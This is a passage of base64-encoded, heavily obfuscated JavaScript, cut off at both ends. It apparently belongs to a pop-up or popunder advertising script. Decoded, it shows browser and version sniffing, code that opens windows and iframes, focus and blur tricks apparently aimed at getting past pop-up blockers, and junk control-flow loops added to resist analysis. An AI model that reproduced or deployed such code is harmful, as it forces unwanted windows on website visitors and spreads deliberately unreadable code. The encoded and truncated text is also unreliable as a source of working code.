JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10o